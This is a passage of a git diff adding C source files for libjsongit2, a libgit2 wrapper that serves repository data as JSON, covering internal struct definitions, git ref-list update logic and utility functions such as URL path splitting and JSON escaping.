cache_size_limit;\n+\tuint64_t avg_size;\n+\tint secs_waiting;\n+\tint cache_subdir;\n+\tint batch_in_use;\n+\tint agg_file_count;\n+\tchar subsequent;\n+};\n+\n+struct jg2_ref {\n+\tstruct jg2_ref *next; /* next in linear list */\n+\tstruct jg2_ref *hash_next; /* next in same hash list */\n+\tgit_oid oid;\n+\tchar *ref_name;\n+};\n+\n+#define REF_HASH_SIZE 16\n+#define jg2_oidbin(oid) ((oid)-\u003eid[0] \u0026 (REF_HASH_SIZE - 1))\n+\n+struct jg2_split_repopath {\n+\tconst char *e[JG2_PE_COUNT];\n+\tint offset;\n+};\n+\n+struct jg2_repo {\n+\tstruct jg2_vhost *vhost;\n+\tstruct jg2_repo *next;\n+\tchar *repo_path;\n+\tgit_repository *repo;\n+\n+\tpthread_mutex_t lock;\n+\n+\tstruct jg2_ctx *ctx_repo_list; /* linked-list of ctx using repo */\n+\n+\tstruct jg2_ref *ref_list; /* linked-list of refs */\n+\tstruct jg2_ref *ref_list_hash[REF_HASH_SIZE];\n+\t\t/* set of linked-lists into the ref objects based on hash */\n+\n+\tunsigned char md5_refs[JG2_MD5_LEN]; /* hash of all refs in repo */\n+\n+\ttime_t last_update;\n+};\n+\n+struct acl {\n+\tlist_ptr next;\n+\tsize_t len1;\n+\tsize_t len2;\n+\n+\t/* len1 + 1 (NUL) bytes of string 1 follows */\n+\t/* len2 + 1 (NUL) bytes of string 2 follows */\n+};\n+\n+struct repo_entry_info {\n+\tlist_ptr next;\n+\tshort name_len;\n+\tshort acl_len;\n+\tshort conf_len[3];\n+\n+\t/*\n+\t * - the name\n+\t * - then the ACL (none means no restriction)\n+\t * - config description if any\n+\t * - config owner if any\n+\t * - config url if any\n+\t */\n+};\n+\n+struct jg2_vhost {\n+\tstruct jg2_email_hash_bin *bins;\n+\tstruct jg2_vhost_config cfg;\n+\tstruct jg2_repo *repo_list;\n+\tstruct jg2_vhost *vhost_list;\n+\tstruct jg2_ctx *ctx_on_vh_list;\n+\n+\tstruct jg2_repodir *repodir;\n+\tstruct jg2_repodir *cachedir;\n+\n+\tpthread_mutex_t lock;\n+\n+\tjg2_md5_context md5_ctx;\n+\n+\tuint64_t cache_hits,\n+\t\t cache_tries,\n+\t\t etag_hits,\n+\t\t etag_tries;\n+\n+\tlac_cached_file_t html_content;\n+\tsize_t html_len;\n+\tsize_t meta;\n+\tsize_t dynamic;\n+\n+\tstruct lac *rei_lac_head;\n+\t/* repo_entry_info list */\n+\tlist_ptr rei_head;\n+\n+\tstruct lac *acl_lac_head;\n+\tlist_ptr acl_macro_head;\n+\tlist_ptr acl_rule_head;\n+};\n+\n+typedef union {\n+\tgit_object *obj;\n+\tgit_commit *commit;\n+\tgit_tree *tree;\n+\tgit_blob *blob;\n+\tgit_tag *tag;\n+} git_generic_ptr;\n+\n+enum {\n+\tHTML_STATE_HTML_META,\n+\tHTML_STATE_HTML_HEADER,\n+\tHTML_STATE_JOB1,\n+\tHTML_STATE_JSON,\n+\tHTML_STATE_HTML_TRAILER,\n+\tHTML_STATE_COMPLETED\n+};\n+\n+struct tree_entry_info {\n+\tlist_ptr next;\n+\tconst git_oid *oid;\n+\tgit_filemode_t mode;\n+\tint type;\n+\tuint64_t size;\n+\tshort namelen;\n+\n+\t/* then the name */\n+};\n+\n+#if LIBGIT2_HAS_BLAME\n+struct blame_line_range {\n+\tlist_ptr next;\n+\tint lines;\n+\tint line_start_orig;\n+\tint line_start_final;\n+};\n+\n+struct blame_hunk_info {\n+\tlist_ptr next; \t\t /**\u003c next blame hunk, in time order */\n+\tlist_ptr next_same_fsig; /**\u003c same final author */\n+\tlist_ptr next_uniq_fsig; /**\u003c list of first use of unique sigs */\n+\tlist_ptr next_sort_fsig; /**\u003c sorted list of unique sigs */\n+\n+\tstruct blame_hunk_info *fsig_rep; /** guy accumulating for our fsig */\n+\tgit_blame_hunk hunk;\n+\tlist_ptr line_range_head;\n+\tlist_ptr *line_range_tail;\n+\n+\tconst char *orig_summary;\n+\tconst char *final_summary;\n+\n+\tint count_line_ranges;\n+\tint count_lines;\n+\tint count_lines_rep_acc;\n+\tint ordinal;\n+\tgit_signature orig, final;\n+\n+\t/* then (pointed-to by pointers above):\n+\t *\n+\t * orig name NUL\n+\t * orig email NUL\n+\t * final name NUL\n+\t * final email NUL\n+\t * orig commit log NUL\n+\t * final commit log NUL\n+\t * orig path NUL\n+\t */\n+};\n+#endif\n+\n+#if defined(JG2_HAVE_ARCHIVE_H)\n+struct tree_iter_level {\n+\tchar *path;\n+\tgit_tree *tree;\n+\tsize_t index;\n+};\n+#endif\n+\n+struct jg2_ctx {\n+\tstruct jg2_split_repopath sr;\n+\tstruct jg2_vhost *vhost;\n+\tstruct jg2_repo *jrepo;\n+\tstruct jg2_ctx *ctx_using_repo_next;\n+\tstruct jg2_ctx *ctx_on_vh_next;\n+\tstruct jg2_ctx *ctx_on_thread_pool_queue_next;\n+\tvoid *user;\n+\n+\tjg2_md5_context md5_ctx;\n+\tunsigned char job_hash[JG2_MD5_LEN];\n+\n+\t/* job parameters */\n+\tconst char *acl_user;\n+\tchar hex_oid[64]; /**\u003c may also be a ref like refs/head/master */\n+\tchar cache[128];\n+\tchar alang[128]; /**\u003c accept-language string, or NUL */\n+\tchar status[256];\n+\tint count;\n+\tint flags;\n+\n+\tjg2_job job;\n+\n+\t/* job state */\n+\tgit_reference_iterator *iter_ref;\n+\tgit_generic_ptr u;\n+#if LIBGIT2_HAS_GIT_BUF\n+\tgit_buf buffer;\n+#else\n+\t/* libgit2 too old for git_buf uses lac_head + lac */\n+#endif\n+\tconst char *body;\n+\tstruct timeval tv_last;\n+\tstruct timeval tv_gen;\n+\tuint64_t us_gen;\n+\tsize_t pos, size, ofs;\n+\tjg2_job_state job_state;\n+\tstruct lac *lac_head;\n+\tstruct lac *lac;\n+\tlist_ptr sorted_head;\n+\tstruct tree_entry_info *tei;\n+\tstruct repo_entry_info *rei;\n+\tchar inline_filename[256];\n+\tunsigned char if_pref;\n+#if LIBGIT2_HAS_BLAME\n+\tgit_blame_options blame_opts;\n+\tstruct blame_hunk_info *bhi;\n+\tstruct blame_line_range *bli;\n+\tgit_blame *blame;\n+\tlist_ptr head_uniq_fsig;\n+\tlist_ptr head_sort_fsig;\n+\tlist_ptr contrib;\n+#endif\n+\tint fd_cache;\n+\tchar *cache_written_p;\n+\tsize_t existing_cache_pos;\n+\tsize_t existing_cache_size;\n+\n+#if defined(JG2_HAVE_ARCHIVE_H)\n+\t/* for snapshot state */\n+\tstruct archive *a;\n+\tstruct tree_iter_level stack[16];\n+\tint sp;\n+\tsize_t lacpos;\n+#endif\n+\n+\t/* chunk buffer state */\n+\tchar *buf, *p, *end;\n+\tsize_t len;\n+\n+\t/* html */\n+\tsize_t html_pos;\n+\tint html_state;\n+\n+\tunsigned int partway:1;\n+\tunsigned int started:1;\n+\t/**\u003c 0\u003d not started, or finished JSON, 1 \u003d in progress */\n+\tunsigned int final:1; /* final chunk of JSON for job has been done */\n+\tunsigned int destroying:1; /**\u003c context destruction is underway */\n+\tunsigned int meta:1; /**\u003c tracks if first job for outer brackets */\n+\tunsigned int meta_last_job:1; /**\u003c last job for outer brackets */\n+\tunsigned int blame_after_tree:1; /**\u003c did a blob, so do blame after */\n+\n+\tunsigned int subsequent:1; /**\u003c not the first entry in a job json list */\n+\n+\tunsigned int waiting_replay_done:1;\n+\tunsigned int archive_completion:1;\n+\n+\tunsigned int blame_init_phase:1;\n+\tunsigned int raw_patch:1;\n+\tunsigned int blog_mode:1;\n+\tunsigned int bot:1;\n+\tunsigned int failed_in_start:1;\n+};\n+\n+struct jg2_global {\n+\tstruct jg2_repodir *repodir_head;\n+\tstruct jg2_repodir *cachedir_head;\n+\tstruct jg2_vhost *vhost_head;\n+\n+\tpthread_mutex_t lock;\n+\n+\tpthread_t cache_thread;\n+\tint count_cachedirs;\n+#if !LIBGIT2_HAS_REFCOUNTED_INIT\n+\tint thread_init_refcount;\n+#endif\n+};\n+\n+enum jg2_log_levels {\n+\tJG2_LLL_ERR \u003d 1 \u003c\u003c 0,\n+\tJG2_LLL_WARN \u003d 1 \u003c\u003c 1,\n+\tJG2_LLL_NOTICE \u003d 1 \u003c\u003c 2,\n+\tJG2_LLL_INFO \u003d 1 \u003c\u003c 3,\n+\tJG2_LLL_DEBUG \u003d 1 \u003c\u003c 4,\n+\tJG2_LLL_USER \u003d 1 \u003c\u003c 5,\n+\n+\tJG2_LLL_COUNT \u003d 6 /* set to count of valid flags */\n+};\n+\n+JG2_VISIBLE void _jg2_log(int filter, const char *format, ...) JG2_FORMAT(2);\n+#define lwsl_err(...) _jg2_log(JG2_LLL_ERR, __VA_ARGS__)\n+#define lwsl_warn(...) _jg2_log(JG2_LLL_WARN, __VA_ARGS__)\n+#define lwsl_notice(...) _jg2_log(JG2_LLL_NOTICE, __VA_ARGS__)\n+#define lwsl_info(...) _jg2_log(JG2_LLL_INFO, __VA_ARGS__)\n+#define lwsl_debug(...) _jg2_log(JG2_LLL_DEBUG, __VA_ARGS__)\n+#define lwsl_user(...) _jg2_log(JG2_LLL_USER, __VA_ARGS__)\n+\n+const char *\n+jg2_ctx_get_path(const struct jg2_ctx *ctx, jg2_path_element type, char *buf,\n+\t\t size_t buflen);\n+\n+void\n+jg2_safe_libgit2_init(void);\n+\n+void\n+jg2_safe_libgit2_deinit(void);\n+\n+void *\n+jg2_zalloc(size_t s);\n+\n+void\n+jg2_repo_ref_destroy(struct jg2_ref *r);\n+\n+void\n+jg2_repo_reflist_destroy(struct jg2_ref *r);\n+\n+void\n+jg2_repo_destroy(struct jg2_repo *r);\n+\n+int\n+jg2_vhost_repo_reflist_update(struct jg2_vhost *vhost);\n+\n+const char *\n+oid_to_hex_cstr(char *oid_hex, const git_oid *oid);\n+\n+const char *\n+ellipsis_string(char *out, const char *in, int max);\n+\n+const char *\n+ellipsis_purify(char *out, const char *in, int max);\n+\n+void\n+time_json(const git_time *t, struct jg2_ctx *ctx);\n+\n+void\n+signature_json(const git_signature *sig, struct jg2_ctx *ctx);\n+\n+void\n+signature_text(const git_signature *sig, struct jg2_ctx *ctx);\n+\n+const char *\n+otype_name(git_otype type);\n+\n+int\n+jg2_json_purify(char *escaped, const char *string, int len, size_t *inlim_totlen);\n+\n+int\n+lws_snprintf(char *str, size_t size, const char *format, ...);\n+\n+int\n+commit_summary(git_commit *commit, struct jg2_ctx *ctx);\n+\n+int\n+generic_object_summary(const git_oid *oid, struct jg2_ctx *ctx);\n+\n+jg2_md5_context\n+jg2_md5_alloc(void);\n+void\n+jg2_md5_init(jg2_md5_context _ctx);\n+int\n+jg2_md5_upd(jg2_md5_context _ctx, const unsigned char *input, size_t ilen);\n+int\n+jg2_md5_fini(jg2_md5_context _ctx, unsigned char output[16]);\n+\n+const char *\n+md5_to_hex_cstr(char *md5_hex_33, const unsigned char *md5);\n+\n+void\n+identity_json(const char *name_email, struct jg2_ctx *ctx);\n+\n+int\n+__repo_reflist_update(struct jg2_vhost *vh, struct jg2_repo *repo);\n+\n+int\n+jg2_oid_to_ref_names(const git_oid *oid, struct jg2_ctx *ctx,\n+\t\t struct jg2_ref **result, int max);\n+\n+int\n+jg2_json_oid(const git_oid *oid, struct jg2_ctx *ctx);\n+\n+int\n+jg2_repopath_split(const char *urlpath, struct jg2_split_repopath *sr);\n+\n+void\n+jg2_repopath_destroy(struct jg2_split_repopath *sr);\n+\n+int\n+blob_from_commit(struct jg2_ctx *ctx);\n+\n+int\n+__jg2_vhost_reference_html(struct jg2_vhost *vh);\n+\n+#define JG2_CACHE_QUERY_NO_CACHE\t0\n+#define JG2_CACHE_QUERY_EXISTS\t\t1\n+#define JG2_CACHE_QUERY_CREATING\t2\n+int\n+__jg2_cache_query(struct jg2_ctx *ctx, const char *md5_hex, int *_fd,\n+\t\t char *cache, int cache_len);\n+\n+int\n+jg2_cache_trim(struct jg2_repodir *cd);\n+\n+void *\n+cache_trim_thread(void *d);\ndiff --git a/lib/repostate.c b/lib/repostate.c\nnew file mode 100644\nindex 0000000..218b676\n--- /dev/null\n+++ b/lib/repostate.c\n@@ -0,0 +1,249 @@\n+/*\n+ * libjsongit2 - repostate.c\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022private.h\u0022\n+\n+#include \u003cstring.h\u003e\n+\n+/* vhost lock must be held on entry */\n+\n+int\n+__repo_reflist_update(struct jg2_vhost *vh, struct jg2_repo *jrepo)\n+{\n+\tstruct jg2_ref **er_prev \u003d \u0026jrepo-\u003eref_list, *er \u003d *er_prev, *er1,\n+\t\t **er_hash_prev[REF_HASH_SIZE];\n+\tunsigned char entry[REF_HASH_SIZE];\n+\tgit_reference_iterator *iter_ref;\n+\tint change_seen \u003d 0, n, ret \u003d -1;\n+\ttime_t t \u003d time(NULL);\n+\tstruct jg2_ctx *ctx;\n+\tgit_reference *ref;\n+\n+\t/* limit how often we are willing to do this */\n+\n+\tif (t - jrepo-\u003elast_update \u003c\u003d 3)\n+\t\treturn 0;\n+\n+\tpthread_mutex_lock(\u0026jrepo-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d jrepo lock */\n+\n+\tmemcpy(entry, jrepo-\u003emd5_refs, sizeof(entry));\n+\n+\tjrepo-\u003elast_update \u003d t;\n+\n+\tfor (n \u003d 0; n \u003c REF_HASH_SIZE; n++)\n+\t\ter_hash_prev[n] \u003d \u0026jrepo-\u003eref_list_hash[n];\n+\n+\t/*\n+\t * First we iterate all the interesting refs and check against our\n+\t * existing reflist. Most commonly, they are unchanged and we exit\n+\t * with 0 indicating no change.\n+\t *\n+\t * We keep track of if the only difference was an oid change on an\n+\t * existing ref. If so we update it on to go, recompute the repo hash\n+\t * and we exit with 1, indicating change found.\n+\t *\n+\t * If the iterated refs and reflist lose coherence on the names, we\n+\t * delete and reacquire the whole reflist, recompute the repo hash, and\n+\t * exit with 2 indicating a change found.\n+\t *\n+\t * Because we may mark, eg, commit logs with decorations from any\n+\t * other ref, if any ref changes all views are potentially affected.\n+\t */\n+\n+\tif (git_reference_iterator_new(\u0026iter_ref, jrepo-\u003erepo) \u003c 0) {\n+\t\tif (giterr_last())\n+\t\t\tgiterr_clear();\n+\t\tgoto bail;\n+\t}\n+\n+\tif (giterr_last())\n+\t\tgiterr_clear();\n+\n+\twhile (git_reference_next(\u0026ref, iter_ref) \u003e\u003d 0) {\n+\t\tconst char *name \u003d git_reference_name(ref);\n+\n+\t\tif (!strncmp(name, \u0022refs/heads/\u0022, 11) ||\n+\t\t !strncmp(name, \u0022refs/tags/\u0022, 10)) {\n+\t\t\tconst git_oid *oid;\n+\n+\t\t\tif (!er) { /* lost coherence: extra new refs */\n+\t\t\t\tchange_seen |\u003d 2;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\tif (strcmp(name, er-\u003eref_name)) {\n+\t\t\t\t/* lost coherence: wrong name */\n+\t\t\t\tchange_seen |\u003d 2;\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\toid \u003d git_reference_target(ref);\n+\n+\t\t\tif (git_oid_cmp(\u0026er-\u003eoid, oid)) {\n+\t\t\t\tchange_seen |\u003d 1; /* existing ref changed oid */\n+\t\t\t\t/* snip us out of existing hash table */\n+\t\t\t\t*er_hash_prev[jg2_oidbin(\u0026er-\u003eoid)] \u003d\n+\t\t\t\t\t\ter-\u003ehash_next;\n+\t\t\t\t/* update our oid */\n+\t\t\t\tgit_oid_cpy(\u0026er-\u003eoid, oid);\n+\t\t\t\t/* patch us into hash table of the new oid */\n+\t\t\t\ter-\u003ehash_next \u003d *er_hash_prev[jg2_oidbin(oid)];\n+\t\t\t\t*er_hash_prev[jg2_oidbin(oid)] \u003d er;\n+\t\t\t}\n+\t\t\ter_hash_prev[jg2_oidbin(oid)] \u003d \u0026er-\u003ehash_next;\n+\t\t\ter_prev \u003d \u0026er-\u003enext;\n+\t\t\ter \u003d er-\u003enext;\n+\t\t}\n+\t\tgit_reference_free(ref);\n+\t\tref \u003d NULL;\n+\t}\n+\n+\tif (er) /* lost coherence: less refs than before */\n+\t\tchange_seen |\u003d 2;\n+\n+\tif (!change_seen) {\n+\t\tgit_reference_iterator_free(iter_ref);\n+\n+\t\tret \u003d 0;\n+\t\tgoto bail;\n+\t}\n+\n+\tif (!(change_seen \u0026 2))\n+\t\t/* ref has always been freed if !(change_seen \u0026 2) */\n+\t\tgoto changed1;\n+\n+\t/* snip all the existing refs past the point we lost coherence */\n+\n+\t*er_prev \u003d NULL;\n+\twhile (er) {\n+\t\t/* snip us out of existing hash table */\n+\t\t*er_hash_prev[jg2_oidbin(\u0026er-\u003eoid)] \u003d er-\u003ehash_next;\n+\t\ter1 \u003d er-\u003enext;\n+\t\tjg2_repo_ref_destroy(er);\n+\t\ter \u003d er1;\n+\t}\n+\n+\tif (!ref)\n+\t\t/*\n+\t\t * we actually handled all the refs. The only problem was\n+\t\t * some left over in the original list...\n+\t\t */\n+\t\tgoto changed1;\n+\n+\t/* regenerate the ref list from the point it lost coherence */\n+\n+\tdo {\n+\t\tconst char *name \u003d git_reference_name(ref);\n+\n+\t\tif (!strncmp(name, \u0022refs/heads/\u0022, 11) ||\n+\t\t !strncmp(name, \u0022refs/tags/\u0022, 10)) {\n+\t\t\tconst git_oid *oid;\n+\n+\t\t\toid \u003d git_reference_target(ref);\n+\n+\t\t\ter \u003d jg2_zalloc(sizeof(*er));\n+\t\t\tif (!er)\n+\t\t\t\tgoto bail;\n+\n+\t\t\ter-\u003eref_name \u003d strdup(name);\n+\t\t\tgit_oid_cpy(\u0026er-\u003eoid, oid);\n+\n+\t\t\t*er_prev \u003d er;\n+\t\t\ter-\u003enext \u003d NULL;\n+\t\t\t*er_hash_prev[jg2_oidbin(\u0026er-\u003eoid)] \u003d er;\n+\t\t\ter_hash_prev[jg2_oidbin(\u0026er-\u003eoid)] \u003d \u0026er-\u003ehash_next;\n+\t\t\ter_prev \u003d \u0026er-\u003enext;\n+\t\t}\n+\n+\t\tgit_reference_free(ref);\n+\t} while (git_reference_next(\u0026ref, iter_ref) \u003e\u003d 0);\n+\n+changed1:\n+\tgit_reference_iterator_free(iter_ref);\n+\n+\t/* create a new hash representing all the refs in this repo */\n+\n+\tvh-\u003ecfg.md5_init(vh-\u003emd5_ctx);\n+\n+\ter \u003d jrepo-\u003eref_list;\n+\twhile (er) {\n+\t\t// lwsl_debug(\u0022%s: %s\u005cn\u0022, __func__, er-\u003eref_name);\n+\n+\t\tvh-\u003ecfg.md5_upd(vh-\u003emd5_ctx, (unsigned char *)er-\u003eref_name,\n+\t\t\t\t strlen(er-\u003eref_name));\n+\t\tvh-\u003ecfg.md5_upd(vh-\u003emd5_ctx, er-\u003eoid.id, sizeof(er-\u003eoid.id));\n+\n+\t\ter \u003d er-\u003enext;\n+\t}\n+\n+\tvh-\u003ecfg.md5_fini(vh-\u003emd5_ctx, jrepo-\u003emd5_refs);\n+\n+\t{\n+\t\tchar hash33[33];\n+\n+\t\tmd5_to_hex_cstr(hash33, jrepo-\u003emd5_refs);\n+\n+\t\tif (memcmp(entry, jrepo-\u003emd5_refs, sizeof(entry)))\n+\t\t\tlwsl_notice(\u0022%s: %s: ref hash: %s\u005cn\u0022, __func__,\n+\t\t\t\t jrepo-\u003erepo_path, hash33);\n+\t}\n+\n+\t/*\n+\t * Inform all ctx that use this repo about the refchange... this is\n+\t * useful if the client is on a long poll...\n+\t */\n+\n+\tctx \u003d jrepo-\u003ectx_repo_list;\n+\twhile (ctx) {\n+\t\tif (ctx-\u003evhost-\u003ecfg.refchange)\n+\t\t\tctx-\u003evhost-\u003ecfg.refchange(ctx-\u003euser);\n+\n+\t\tctx \u003d ctx-\u003ectx_using_repo_next;\n+\t}\n+\n+\tret \u003d 2;\n+\n+bail:\n+\tpthread_mutex_unlock(\u0026jrepo-\u003elock); /*------------------ jrepo unlock */\n+\n+\treturn ret;\n+}\n+\n+int\n+jg2_vhost_repo_reflist_update(struct jg2_vhost *vhost)\n+{\n+\tstruct jg2_repo *r;\n+\tint m \u003d 0;\n+\n+\tpthread_mutex_lock(\u0026vhost-\u003elock); /* \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d vhost lock */\n+\n+\tr \u003d vhost-\u003erepo_list;\n+\n+\twhile (r) {\n+\t\tm |\u003d __repo_reflist_update(vhost, r);\n+\n+\t\tr \u003d r-\u003enext;\n+\t}\n+\n+\tpthread_mutex_unlock(\u0026vhost-\u003elock); /*------------------ vhost unlock */\n+\n+\treturn m;\n+}\ndiff --git a/lib/util.c b/lib/util.c\nnew file mode 100644\nindex 0000000..c3cd8cf\n--- /dev/null\n+++ b/lib/util.c\n@@ -0,0 +1,792 @@\n+/*\n+ * libjsongit2 - wrapper for libgit2 with JSON IO\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#include \u0022private.h\u0022\n+\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003cstdarg.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \u003csys/time.h\u003e\n+\n+static const char * const log_level_names[] \u003d {\n+\t\u0022ERR\u0022,\n+\t\u0022WARN\u0022,\n+\t\u0022NOTICE\u0022,\n+\t\u0022INFO\u0022,\n+\t\u0022DEBUG\u0022,\n+\t\u0022USER\u0022,\n+\t\u0022?\u0022,\n+\t\u0022?\u0022\n+};\n+\n+static const char *hex \u003d \u00220123456789abcdef\u0022;\n+\n+/*\n+ * repo_path should look like\n+ *\n+ * reponame/mode/repopath[?h\u003dbranch][\u0026id\u003doid]\n+ *\n+ * Notice this allocates. So you must call jg2_repopath_destroy(sr).\n+ */\n+\n+int\n+jg2_repopath_split(const char *urlpath, struct jg2_split_repopath *sr)\n+{\n+\tchar *p, *p1;\n+\tint n;\n+\n+\tmemset(sr, 0, sizeof(*sr));\n+\n+\tif (*urlpath \u003d\u003d '/')\n+\t\turlpath++;\n+\n+\tsr-\u003ee[JG2_PE_NAME] \u003d strdup(urlpath);\n+\tif (!sr-\u003ee[JG2_PE_NAME])\n+\t\treturn 1;\n+\n+\tp \u003d strchr(sr-\u003ee[JG2_PE_NAME], '/');\n+\tif (p) {\n+\t\t*p++ \u003d '\u005c0';\n+\n+\t\tsr-\u003ee[JG2_PE_MODE] \u003d p;\n+\t\tp \u003d strchr(p, '/');\n+\t\tif (p) {\n+\t\t\t*p++ \u003d '\u005c0';\n+\t\t\tif (*p)\n+\t\t\t\tsr-\u003ee[JG2_PE_PATH] \u003d p;\n+\t\t} else\n+\t\t\tp \u003d (char *)sr-\u003ee[JG2_PE_MODE];\n+\t} else\n+\t\tp \u003d (char *)sr-\u003ee[JG2_PE_NAME];\n+\n+\t/* sanitize url-provided repo name against .. attack */\n+\n+\tp1 \u003d (char *)sr-\u003ee[JG2_PE_NAME];\n+\twhile ((p1 \u003d strchr(p1, '.')))\n+\t\tif (*(++p1) \u003d\u003d '.') {\n+\t\t\tlwsl_err(\u0022%s: illegal .. in repo path\u005cn\u0022, __func__);\n+\n+\t\t\tgoto bail;\n+\t\t}\n+\n+\tfor (n \u003d 0; n \u003c 3; n++) {\n+\t\tp \u003d strchr(p, !n ? '?' : '\u0026');\n+\t\tif (!p)\n+\t\t\treturn 0;\n+\n+\t\t*p++ \u003d '\u005c0';\n+\n+\t\tp \u003d strchr(p, '\u003d');\n+\t\tif (!p)\n+\t\t\treturn 0;\n+\n+\t\tif (p[-1] \u003d\u003d 'h')\n+\t\t\tsr-\u003ee[JG2_PE_BRANCH] \u003d p + 1;\n+\t\tif (p[-1] \u003d\u003d 'd') /* id */\n+\t\t\tsr-\u003ee[JG2_PE_ID] \u003d p + 1;\n+\t\tif (p[-1] \u003d\u003d 's') /* ofs */\n+\t\t\tsr-\u003eoffset \u003d atoi(p + 1);\n+\n+\t\tp++;\n+\t}\n+\n+\treturn 0;\n+\n+bail:\n+\tfree((char *)sr-\u003ee[JG2_PE_NAME]);\n+\tsr-\u003ee[JG2_PE_NAME] \u003d NULL;\n+\n+\treturn 1;\n+}\n+\n+const char *\n+jg2_ctx_get_path(const struct jg2_ctx *ctx, jg2_path_element type,\n+\t\t char *buf, size_t buflen)\n+{\n+\tif (type \u003d\u003d JG2_PE_VIRT_ID) {\n+\t\tif (ctx-\u003esr.e[JG2_PE_ID])\n+\t\t\treturn ctx-\u003esr.e[JG2_PE_ID];\n+\t\tif (ctx-\u003esr.e[JG2_PE_BRANCH]) {\n+\t\t\tlws_snprintf(buf, buflen, \u0022refs/heads/%s\u0022,\n+\t\t\t\t ctx-\u003esr.e[JG2_PE_BRANCH]);\n+\n+\t\t\treturn buf;\n+\t\t}\n+\n+\t\treturn \u0022refs/heads/master\u0022;\n+\t}\n+\n+\tif (type \u003d\u003d JG2_PE_OFFSET)\n+\t\treturn (const char *)(void *)(intptr_t)ctx-\u003esr.offset;\n+\n+\treturn ctx-\u003esr.e[type];\n+}\n+\n+void\n+jg2_repopath_destroy(struct jg2_split_repopath *sr)\n+{\n+\tif (!sr-\u003ee[JG2_PE_NAME])\n+\t\treturn;\n+\n+\tfree((char *)sr-\u003ee[JG2_PE_NAME]);\n+\tsr-\u003ee[JG2_PE_NAME] \u003d NULL;\n+}\n+\n+/* returns amount written to escaped.\n+ *\n+ * if inlim_totlen is non-null, it restricts the amount of input that can be\n+ * used on input, and contains the amount of input used on output.\n+ */\n+\n+int\n+jg2_json_purify(char *escaped, const char *string, int len,\n+\t\tsize_t *inlim_totlen)\n+{\n+\tconst char *p \u003d string, *op \u003d p;\n+\tchar *q \u003d escaped;\n+\tint inlim \u003d -1;\n+\n+\tif (inlim_totlen)\n+\t\tinlim \u003d *inlim_totlen;\n+\n+\tif (!p) {\n+\t\tescaped[0] \u003d '\u005c0';\n+\t\treturn 0;\n+\t}\n+\n+\twhile (len-- \u003e 6 \u0026\u0026 (p - op) !\u003d inlim \u0026\u0026 *p) {\n+\t\tif (*p \u003d\u003d '\u005ct') {\n+\t\t\tp++;\n+\t\t\t*q++ \u003d '\u005c\u005c';\n+\t\t\t*q++ \u003d 't';\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\tif (*p \u003d\u003d '\u005cn') {\n+\t\t\tp++;\n+\t\t\t*q++ \u003d '\u005c\u005c';\n+\t\t\t*q++ \u003d 'n';\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\tif (*p \u003d\u003d '\u005cr') {\n+\t\t\tp++;\n+\t\t\t*q++ \u003d '\u005c\u005c';\n+\t\t\t*q++ \u003d 'r';\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\tif (*p \u003d\u003d '\u0026' || *p \u003d\u003d '\u003c' || *p \u003d\u003d '\u003e' || *p \u003d\u003d '\u005c\u0022' ||\n+\t\t *p \u003d\u003d '\u005c\u005c' || *p \u003d\u003d '\u003d' || (unsigned char)(*p) \u003c 0x20) {\n+\t\t\t*q++ \u003d '\u005c\u005c';\n+\t\t\t*q++ \u003d 'u';\n+\t\t\t*q++ \u003d '0';\n+\t\t\t*q++ \u003d '0';\n+\t\t\t*q++ \u003d hex[((*p) \u003e\u003e 4) \u0026 15];\n+\t\t\t*q++ \u003d hex[(*p) \u0026 15];\n+\t\t\tlen -\u003d 5;\n+\t\t\tp++;\n+\t\t} else\n+\t\t\t*q++ \u003d *p++;\n+\t}\n+\t*q \u003d '\u005c0';\n+\n+\tif (inlim_totlen)\n+\t\t*inlim_totlen \u003d p - op;\n+\n+\treturn q - escaped;\n+}\n+\n+void *\n+jg2_zalloc(size_t s)\n+{\n+\tvoid *v;\n+\n+\tv \u003d malloc(s);\n+\tif (!v)\n+\t\treturn NULL;\n+\tmemset(v, 0, s);\n+\n+\treturn v;\n+}\n+\n+int\n+lws_snprintf(char *str, size_t size, const char *format, ...)\n+{\n+\tva_list ap;\n+\tint n;\n+\n+\tif (!size)\n+\t\treturn 0;\n+\n+\tva_start(ap, format);\n+\tn \u003d vsnprintf(str, size, format, ap);\n+\tva_end(ap);\n+\n+\tif (n \u003e\u003d (int)size)\n+\t\treturn (int)size;\n+\n+\treturn n;\n+}\n+\n+unsigned long long time_in_microseconds(void)\n+{\n+\tstruct timeval tv;\n+\n+\tgettimeofday(\u0026tv, NULL);\n+\treturn ((unsigned long 